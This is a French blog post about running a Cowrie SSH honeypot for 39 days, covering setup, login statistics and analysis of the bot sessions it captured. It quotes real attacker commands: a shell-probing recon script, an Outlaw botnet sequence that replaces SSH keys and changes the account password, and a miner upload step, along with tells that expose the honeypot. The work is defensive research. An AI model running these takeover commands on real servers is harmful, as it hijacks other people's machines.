Introduction

La première chose dont je me suis rendu compte en préparant ce lab, c’est que ce n’est pas aussi simple qu’il y paraît. Dès le départ, je savais que la sécurité était essentielle pour garantir qu’un attaquant reste confiné. Ma surprise est venue de la variété des options, des choix et des alternatives.

L’objectif ici est d’apprendre, donc le premier choix a été facile. Comme c’était ma première vraie expérience, j’ai choisi de réduire les risques liés à mon manque d’expérience. Cela a entraîné deux décisions :

  1. Utiliser un VPS plutôt que mon home lab. Si les choses tournent mal, l’hébergeur du VPS coupera probablement mon serveur avant même que je m’en rende compte, et dans ce cas, c’est plutôt une bonne chose.
  2. Utiliser un logiciel de honeypot reconnu plutôt que de monter une vraie VM ou un vrai conteneur. Ce serait plus réaliste, mais une application de honeypot est plus simple et plus sûre.

L’architecture était donc décidée : un VPS sous Debian, avec Cowrie comme honeypot SSH. Cowrie analyse chaque commande, répond avec sa propre implémentation ou à partir d’un faux système de fichiers, et enregistre tout : identifiants, commandes, sessions TTY et fichiers.

Cette conception est le filet de sécurité, et c’est aussi sa faiblesse. Un shell écrit en Python n’est pas bash et, comme nous allons le voir, certains bots savent très bien faire la différence.

La mise en place

D’abord, le hardening de l’hôte

Cowrie peut fonctionner tel quel, mais l’hôte en dessous est réel, j’ai donc appliqué un hardening avant d’installer quoi que ce soit :

  • Trois utilisateurs : un pour ma connexion SSH distante, root, et lab-usr pour faire tourner le honeypot, sans shell de connexion et avec des permissions minimales.
  • Le vrai SSH déplacé sur un port élevé, authentification par clé uniquement, pas de login root et quelques autres restrictions.
  • fail2ban sur le vrai port SSH : 5 échecs en 10 minutes valent un bannissement de 2 heures.
  • nftables avec une politique d’entrée qui rejette par défaut. Cowrie tourne avec un utilisateur non privilégié, il ne peut donc pas écouter sur le port 22. Il écoute sur le 2222. Une règle NAT redirige le 22 vers le 2222 pour que les attaquants trouvent la porte tout en gardant Cowrie non privilégié :
table ip nat {
    chain prerouting {
        type nat hook prerouting priority dstnat; policy accept;
        tcp dport 22 redirect to :2222
    }
}

Les paquets rejetés sont journalisés dans leur propre fichier avec rsyslog et maîtrisés avec logrotate, et journald a une taille plafonnée. Un honeypot attire beaucoup de bruit ; remplir le disque serait la façon la plus bête de perdre la machine.

L’installation par défaut de Debian comporte peu de services et il n’y a pas grand-chose de plus à supprimer ou à reconfigurer. Il n’y a même pas sudo. Donc, après avoir installé les derniers correctifs, c’est terminé.

Rendre Cowrie moins évidemment Cowrie

Tel quel, Cowrie présente un hostname par défaut et un système générique que reconnaît quiconque a déjà vu quelques instances de Cowrie. La deuxième étape a donc été de le faire répondre aux commandes courantes avec de vraies informations issues de l’hôte. J’ai lancé uname -a et ssh -V sur le VPS et copié les valeurs dans cowrie.cfg :

[honeypot]
hostname = ubuntu-4gb-hel3-2
contents_path = /opt/cowrie/honeyfs
txtcmds_path = /opt/cowrie/txtcmds
auth_class = UserDB

[shell]
kernel_version = 6.12.107+deb13-cloud-amd64
kernel_build_string = #1 SMP PREEMPT_DYNAMIC Debian 6.12.107-1 (2026-08-29) x86_64 GNU/Linux
hardware_platform = x86_64
operating_system = GNU/Linux
ssh_version = OpenSSH_10.0p2 Debian-7+deb13u4, OpenSSL 3.5.7 9 Jun 2026

Ensuite, j’ai construit le contenu du faux système de fichiers (honeyfs). J’ai copié de vrais fichiers du VPS (/etc/passwd, group, shadow, hostname, issue, motd, os-release et les dotfiles de chaque répertoire personnel) et remplacé tout ce qui était propre au serveur. Les utilisateurs et les UID de passwd correspondent aux propriétaires des répertoires personnels, et shadow contient de vrais hashs yescrypt des mots de passe du honeypot (mkpasswd -m yescrypt). C’est cosmétique, mais cohérent.

Un détail qui m’a pris du temps : un fichier de honeyfs n’est affiché que si le chemin existe aussi dans l’index du système de fichiers de Cowrie, fs.pickle. Chaque répertoire et chaque fichier doivent aussi y être créés, avec fsctl :

fs.pickle:/home$ ls -l admin
-rwxr-xr-x 1 1000 1000 4096 2026-09-23 20:04 .bash_logout
-rwxr-xr-x 1 1000 1000 4096 2026-09-23 20:03 .bashrc
-rwxr-xr-x 1 1000 1000 4096 2026-09-23 20:03 .profile

Avec cela, un visiteur qui se connecte obtient une réponse comme celle-ci, qui correspond au vrai noyau du VPS :

$ uname -a
Linux ubuntu-4gb-hel3-2 6.12.107+deb13-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.107-1 (2026-08-29) x86_64 GNU/Linux

L’appât

J’ai lancé le honeypot avec six utilisateurs aux mots de passe simples tirés du dictionnaire rockyou, en pensant qu’ils seraient faciles à casser.

root:x:rootbeer2
admin:x:soloadmin
service:x:ciocolatax
deploy:x:chinesa78
backup:x:backup2022
john:x:changeme

Apparemment, ce n’était pas assez simple. Au dixième jour, après 112 604 tentatives de login, je n’avais aucune connexion réussie.

J’ai donc regardé les logins échoués, choisi l’un des mots de passe qui revenaient souvent et l’ai attribué à admin : Admin@123. J’ai redémarré Cowrie et cela n’a pas traîné, 31 minutes :

2026-10-03T12:13:27.461382Z [cowrie.core.config#info] Reading configuration from ['etc/cowrie.cfg']
2026-10-03T12:13:27.636459Z [cowrie.plugin#info] Cowrie Version 3.0.15
...
2026-10-03T12:44:40.183897Z [ssh,de8c13e21479,92.118.39.49] login attempt [admin/Admin@123] succeeded

Je l’ai laissé tourner encore 29 jours, soit 39 jours au total.

Ce fut la première leçon. Les bots n’utilisent pas rockyou ; je suppose qu’ils utilisent des listes courtes et triées de ce qui fonctionne sur de vrais serveurs. Un mot de passe « faible » au sens d’un dictionnaire n’est pas forcément un mot de passe qu’ils essaient. Il est possible qu’ils fassent tourner les mots de passe pour éviter les verrouillages de compte, mais je pense plutôt qu’ils utilisent des combinaisons utilisateur:mot de passe qui leur ont donné de bons résultats.

Spoiler : après tout ce temps, seul l’utilisateur admin a eu des connexions réussies.

Les chiffres

Quelques statistiques tirées des logs après 39 jours :

métriquevaleur
tentatives de login865 818
logins réussis3 232
noms d’utilisateur distincts essayés10 965
mots de passe distincts essayés130 665
utilisateurs les plus essayéstentativesmots de passe les plus essayéstentatives
root117 1781234562 188
admin6 454password773
user1 655123731
ubuntu1 173123456789638
test372qwerty614
ubnt3161234454
debian304111111371
ftpuser28912345678362
postgres2811298
support24612345286

Sessions et IP sources, pour les 29 jours avec Admin@123 :

métriquevaleur
sessions730 860
IP sources uniques7 174
sessions interactives (au moins une commande)94
IP uniques avec une session interactive55
séquences de commandes distinctes7

Quelques points ressortent :

  • root est la cible. 13,5 % de toutes les tentatives visaient root, plus de dix fois le total des neuf noms d’utilisateur suivants (11 090).
  • Les mots de passe sont courts et banals ; la longue traîne est énorme. 130 665 mots de passe distincts, mais le top dix est la liste que vous écririez de mémoire.
  • Le volume est concentré. Les 20 IP les plus actives (0,28 % des sources) ont produit 421 069 sessions, soit 57,6 % du total. La première à elle seule a ouvert 91 359 sessions, environ une toutes les 30 secondes pendant un mois.
  • Entrer n’est pas l’objectif de la plupart des bots. Sur 3 232 logins réussis, seuls 94 ont envoyé au moins une commande. Les 97 % restants se sont authentifiés puis sont partis. Mon interprétation est qu’il y a deux profils :
    • Des vérificateurs d’identifiants qui collectent des logins valides pour que quelqu’un d’autre les utilise plus tard.
    • Des bots qui vérifient la réponse SSH et identifient le honeypot.
  • 94 sessions, 7 séquences de commandes. Toutes les sessions interactives ont utilisé admin:Admin@123 et appartiennent à l’une de seulement sept séquences de commandes distinctes. Personne n’a rien tapé à la main.

Ce qu’ils ont fait

Remarque: Dans le contexte de Cowrie, une session est une connexion SSH, de la connexion à la déconnexion, que le login réussisse ou non. Ce n’est pas une session de connexion au système : rien ne s’exécute sur l’hôte.

J’ai regroupé les sessions interactives selon leur séquence exacte de commandes. Voici les sept groupes.

Groupes 1, 2 et 4 : une commande et au revoir (79 sessions)

Les trois groupes les plus importants ont lancé un seul uname puis se sont déconnectés :

groupesessionscommandesources
142uname -s -v -n -r -m37 IP de 2 réseaux /24
229/bin/./uname -s -v -n -m2 IP
48uname -a6 IP
Le groupe 1 est la même séquence de commandes depuis 37 IP de deux réseaux /24, partageant toutes la même paire d’empreintes HASSH : très probablement un seul outil tournant depuis de nombreux hôtes. Ils ne s’arrêtent pas une fois entrés. L’une de ces IP a échoué 801 fois, s’est connectée, a lancé uname, a échoué 1 190 fois de plus, s’est reconnectée, et a répété le cycle une fois de plus. On dirait un bot qui parcourt toute sa liste à chaque passage, sans mémoire de ce qui a déjà fonctionné.

Le groupe 2 appelle /bin/./uname. Le /./ ne change rien pour le noyau ; c’est le même fichier. Je suppose qu’inclure /./ dans le chemin est une façon de tester l’interpréteur de commandes. Si cela échoue, le bot sait qu’il est dans un honeypot ou dans une fausse session bash.

Toutes ces sessions cherchent l’architecture et le noyau de leur victime. Cela leur permet de choisir un payload, et aussi de décider si la cible correspond à leurs critères.

Groupe 3 : le détecteur de honeypot (12 sessions)

C’est le script le plus intéressant, et c’est là que mon Cowrie « réaliste » a échoué. Il arrive en un seul bloc, collecte des informations système et, dans une section littéralement nommée SHELL_BEHAVIOR, teste la façon dont le shell réagit aux erreurs. Le bloc semble être envoyé par l’attaquant sous forme d’une seule ligne de commande ; j’en ai modifié la mise en forme pour le rendre un peu plus lisible.

Afficher/Masquer le code
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
uname=$(uname -s -v -n -m 2>/dev/null || 
/bin/uname -s -v -n -m 2>/dev/null ||
/usr/bin/uname -s -v -n -m 2>/dev/null ||
busybox uname -s -v -n -m 2>/dev/null ||
( [ -f /proc/version ] && head -1 /proc/version |
cut -d' ' -f1 ) ||
( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release |
cut -d= -f2 | tr -d '"' ) || echo "")
arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null ||
/usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null ||
( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) ||
( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo &&
echo aarch64 ) ||
( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo &&
echo armv7l ) || echo "") uptime=$(cat /proc/uptime 2>/dev/null ||
busybox cat /proc/uptime 2>/dev/null)
cpus=$(nproc 2>/dev/null ||
/usr/bin/nproc 2>/dev/null ||
busybox nproc 2>/dev/null ||
grep -c "^processor" /proc/cpuinfo 2>/dev/null)
cpu_model=$( { lscpu 2>/dev/null |
	awk -F: '/Model name/ {print $2}';
	grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null |
	cut -d: -f2-;
	grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null |
	cut -d: -f2-;
	cat /proc/device-tree/model 2>/dev/null;
} |
sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' |
head -1 )
gpu_info=$( (lspci 2>/dev/null | grep -i vga;
lspci 2>/dev/null | grep -i nvidia;
busybox lspci 2>/dev/null | grep -i vga;
busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )
last_output=$(last 2>/dev/null)
filter_output=$( ( export LANG=C LC_ALL=C;
echo '===SHELL_BEHAVIOR===';
printf 'path_err=';
( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null ||
busybox head -c 250 2>/dev/null ||
dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null ||
busybox tr -d '\n' 2>/dev/null || cat );
printf '\n';
printf 'cmd_err=';
( xxxxxx 2>&1 || true ) |
( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null ||
dd bs=250 count=1 2>/dev/null ) |
( tr -d '\n' 2>/dev/null ||
busybox tr -d '\n' 2>/dev/null || cat );
printf '\n';
printf 'execute_err=';
out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter &&
chmod +x filter && ./filter && rm -rf filter' 2>&1);
case "$out" in *xxxxxx*) ;;
	*) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter &&
	chmod +x filter && ./filter && rm -rf filter' 2>&1);
	case "$out" in *xxxxxx*) ;;
		*) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter &&
		chmod +x filter && ./filter && rm -rf filter' 2>&1);
		case "$out" in *xxxxxx*) ;;
			*) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter &&
			chmod +x filter && ./filter && rm -rf filter' 2>&1 ||
			sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter &&
			chmod +x filter &&
			./filter && rm -rf filter' 2>&1);
		esac;
	esac;
esac;
printf '%s' "$out" | ( head -c 250 2>/dev/null ||
busybox head -c 250 2>/dev/null ||
dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null ||
busybox tr -d '\n' 2>/dev/null || cat );
printf '\n'; 
echo '===DONE===' ) 2>&1 )

Sur une vraie machine Linux, path_err contient No such file or directory, cmd_err contient command not found et execute_err contient xxxxxx. Comme Cowrie émule le shell, il ne sait pas quoi faire de tout cela, et voici ce que mon honeypot a répondu :

awk: invalid option -- ':'
Try 'awk --help' for more information.
-bash: /usr/bin/sed: cannot execute binary file: Exec format error
head: invalid option -- '1'
xxxxxx
xxxxxx
-bash: syntax error near unexpected token `"$out"'
UNAME:Linux ubuntu-4gb-hel3-2 #1 SMP PREEMPT_DYNAMIC Debian 6.12.107-1 (2026-08-29) x86_64 GNU/Linux x86_64
ARCH:x86_64
UPTIME:
CPUS:2
CPU_MODEL:
GPU:
FILTER:===SHELL_BEHAVIOR===
path_err=
cmd_err=
execute_err=
===DONE===

La sortie indique à l’attaquant que le shell est faux :

  • awk -F: et head -1 échouent : les implémentations de ces commandes dans Cowrie ne gèrent pas ces options.
  • sed existe dans le faux système de fichiers, mais Cowrie ne l’implémente pas, il répond donc Exec format error. Une vraie machine x86_64 ne dit jamais cela de son propre sed.
  • UPTIME est vide : cat /proc/uptime n’a rien renvoyé. CPU_MODEL est vide parce que son pipeline passe par awk -F: et sed, qui échouent tous les deux.
  • path_err et cmd_err sont vides. Les erreurs qui devraient y figurer n’y sont pas.
  • Une partie de la commande crée un fichier nommé filter et l’exécute. Il s’est bien exécuté : xxxxxx est affiché deux fois, directement dans le terminal. Mais le parser de Cowrie bute sur le case imbriqué dans $(...) (syntax error near unexpected token), donc la sortie n’est jamais capturée et execute_err reste vide.

Ma chaîne de noyau était parfaite, et cela n’a servi à rien. Le script ne demande jamais au système ce qu’il est ; il demande au shell comment il se comporte.

Les 12 sessions venaient de 8 IP et aucune n’est allée plus loin. Je suppose qu’il sert à vérifier s’il vaut la peine de télécharger un vrai payload et, comme la vérification échoue, il ne va pas plus loin. Mais l’une des IP revient, comme nous le verrons dans le dernier groupe.

Groupes 5 et 6 : prendre le contrôle du compte (2 sessions)

Deux sessions depuis des IP différentes, à cinq jours d’intervalle, ont exécuté une séquence identique. Les seules différences sont l’IP source, l’empreinte HASSH et le mot de passe qu’elles génèrent comme nouveau mot de passe d’admin.

cd ~; chattr -ia .ssh; lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
echo -e "Admin@123\nh7YtAsRcjPS2\nh7YtAsRcjPS2"|passwd|bash
cat /proc/cpuinfo | grep name | wc -l
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
crontab -l
...

L’ordre des opérations raconte l’histoire :

  1. Retirer l’attribut immuable de .ssh (chattr -ia), au cas où un autre bot l’aurait verrouillé. lockr n’existe pas sur un système standard ; je ne sais pas à quoi cela fait référence.
  2. Supprimer les clés existantes et installer la sienne. Celui qui était là avant est dehors.
  3. Changer le mot de passe pour une chaîne de 12 caractères. Le bot possède désormais le compte, et le prochain bot qui essaiera Admin@123 échouera.
  4. Ce n’est qu’ensuite qu’il commence un inventaire : nombre de CPU, mémoire, crontab, disque.

Les commandes d’inventaire trahissent à nouveau le honeypot :

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
Intel(R) Xeon(R) CPU E5-2680 v4 @;
$ lscpu | grep Model
Model:                 23
$ ls -lh $(which ls)
ls: cannot access /usr/bin/ls
/bin/ls: No such file or directory
$ top
E82: Cannot allocate any buffer, exiting...
$ w
 15:26:37 up 13 days,  3:13,  1 user,  load average: 0.00, 0.00, 0.00

La clé SSH et le commentaire mdrfckr, à la deuxième ligne du code, sont associés publiquement depuis des années au botnet de cryptominage Outlaw/Dota. Vous trouverez un article à ce sujet ici : https://securelist.com/outlaw-botnet/116444/

Groupe 7 : la livraison (1 session)

Le 31 octobre, 195.178.110.228 s’est connectée. Cette même IP avait déjà lancé le détecteur du groupe 3 contre mon honeypot les 20 et 23 octobre.

Cette fois, la session a commencé par un autre type de test. Chaque vérification affiche un marqueur aléatoire et demande au shell de calculer quelque chose :

printf '\n%s|%s\n' 'check_001836c6aac8b3f41ce975ff22f82610_small_math' "$((25*149+25))"
printf '\n%s|%s\n' 'check_001836c6aac8b3f41ce975ff22f82610_small_pid' "$$"
set -- 'check_..._arg1' 'check_..._arg2'; printf ... "$#|$1|$2"
f_check_...() { printf ... "$1|$#"; }; f_check_... 'check_..._function_value'

Expansion arithmétique (la réponse attendue est 3750), PID du shell, paramètres positionnels et fonction shell. Chaque test est exécuté deux fois, encapsulé dans sh -c et directement, puis deux fois de plus avec echo au lieu de printf. Ce sont des capacités qu’un vrai shell POSIX possède et qu’un émulateur de shell n’a pas forcément. Cowrie a échoué à presque tous :

admin@ubuntu-4gb-hel3-2:~$ echo 'check_dd09..._small_control|check_dd09...'
check_dd09..._small_control|check_dd09...
admin@ubuntu-4gb-hel3-2:~$ echo 'check_dd09..._small_math|'"$((754*31+35))"
-bash: 754*31+35: command not found
check_dd09..._small_math|
admin@ubuntu-4gb-hel3-2:~$ echo 'check_dd09..._small_pid|'"$$"
check_dd09..._small_pid|$$
admin@ubuntu-4gb-hel3-2:~$ set -- 'check_dd09..._arg1' 'check_dd09..._arg2'; echo 'check_dd09..._small_positional|'"$#|$1|$2"
COLUMNS=240
HOME=/home/admin
...
USER=admin
check_dd09..._small_positional|$#||
admin@ubuntu-4gb-hel3-2:~$ f_check_dd09...() { echo 'check_dd09..._small_function|'"$1|$#"; }; f_check_dd09... 'check_dd09..._function_value'
check_dd09..._small_function|check_dd09..._function_value|1
vérificationvrai shellCowrie
contrôle (echo d’un marqueur)marqueurmarqueur
$((754*31+35))23409754*31+35: command not found
$$un PID$$ littéral
set -- + $#|$1|$22|arg1|arg2affiche l’environnement, puis $#||
fonction shellvalue|1value|1
toute vérification dans sh -c '...'sortierien du tout, pas même le contrôle

Cowrie interprète $((...)) comme une substitution de commande d’un sous-shell, il essaie donc d’exécuter 754*31+35 comme une commande. set avec des arguments est traité comme un simple set, qui affiche les variables. Et sh -c ne renvoie rien, quoi que vous lui passiez. Seul le test de la fonction a réussi. Le marqueur aléatoire de chaque ligne permet au script d’associer les réponses aux questions même si la sortie arrive mélangée ou partielle.

Puis est arrivé le fichier, envoyé via la session SSH elle-même (SFTP/SCP) :

[UPLOAD] .16 sha256=a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125
$ echo 'Admin@123' | sudo -S sh -c 'chmod +x '\''/home/admin/.16'\''' || echo 'Admin@123' | sudo -S chmod +x '/home/admin/.16' || sh -c 'chmod +x '\''/home/admin/.16'\''' || chmod +x '/home/admin/.16'
$ chmod +x '/home/admin/.16'
chmod: cannot access '/home/admin/.16': No such file or directory

Un fichier caché au nom dénué de sens, rendu exécutable par une chaîne de solutions de repli : d’abord avec sudo -S et le mot de passe de connexion transmis par pipe, puis sans sudo. Cowrie a gardé une copie du fichier mais ne l’a pas placé dans le faux système de fichiers, donc chmod n’a pas pu le trouver. Un indice de plus, et la session s’est arrêtée là.

Le fichier n’a jamais été exécuté, mais j’en ai gardé une copie. C’est un mineur malveillant, et vous trouverez plus de détails à son sujet sur VirusTotal.

Ce que voit le défenseur

L’un des avantages d’un honeypot est de collecter des indicateurs utiles ailleurs. De ce mois-ci, voici ceux que je rechercherais sur un vrai serveur :

  • Les empreintes HASSH des clients attaquants : 2ec37a7c… (groupes 3 et 7) et 03a80b21… (groupe 5). Elles identifient la bibliothèque SSH, pas l’acteur : plus utiles pour alerter ou pour une liste blanche que pour bloquer à l’aveugle.
  • Un authorized_keys contenant une clé avec le commentaire mdrfckr, ou des répertoires .ssh dont l’attribut immuable a été modifié (chattr -ia .ssh dans l’historique du shell).
  • passwd recevant son entrée depuis un pipe : echo -e "old\nnew\nnew" | passwd.
  • sudo -S avec le mot de passe transmis par pipe depuis echo.
  • Des dotfiles exécutables aux noms courts et dénués de sens dans les répertoires personnels (/home/*/.16).
  • Une connexion depuis une IP suivie d’un seul uname et d’une déconnexion immédiate : ce n’est pas une attaque, mais l’étape d’inventaire qui en précède une.
  • Les hashs identifiés peuvent servir à détecter des intrusions. Dans ce cas, le hash du mineur : a151d3f4….

Et de l’autre côté du miroir, les indices que mon honeypot a laissé échapper, du moins coûteux au plus coûteux à vérifier pour un bot :

  • Exec format error sur des binaires standard (sed, df)
  • sh -c ne renvoie rien ; $((...)), $$ et set -- cassés
  • Matériel incohérent : nom de CPU Xeon contre lscpu modèle 23
  • ls ne se trouve pas lui-même ; top répond avec une erreur de vim
  • Options non prises en charge (awk -F:, head -1)
  • /proc/uptime vide
  • Messages d’erreur absents ; $(...) avec case ne passe pas l’analyse
  • Fichier envoyé absent du système de fichiers

Ils ne sont pas tous faciles à corriger, mais quand la correction consiste simplement à créer un fichier, l’effort peut valoir la peine.

Conclusion

Aucun de ceux qui ont attaqué mon honeypot n’était une personne. Ce honeypot offre une vue directe sur la façon dont l’automatisation décide si une machine mérite le payload. La version du noyau que j’avais copiée avec tant de soin, pour qu’un attaquant obtienne une sortie réelle, était l’élément le moins important. Les attaquants ont testé le shell pour provoquer une erreur susceptible de leur donner des informations. Le réalisme n’est pas dans la bannière ; il est dans les messages d’erreur.

La valeur principale est la collecte d’informations pour les défenseurs, du moins avec cette implémentation. Pour étudier l’activité et collecter des malwares, une autre implémentation serait préférable : probablement une vraie machine avec un vrai shell, mais c’est une implémentation totalement différente, avec des risques de sécurité importants. Pour l’instant, je vais ajouter quelques comptes à mon implémentation et la laisser tourner encore un peu pour collecter davantage de données.

Pensez-vous que j’ai raté quelque chose, ou que je pourrais faire autre chose de ces données ? Dites-le-moi : le honeypot tourne à nouveau pour collecter davantage de logs.

:wq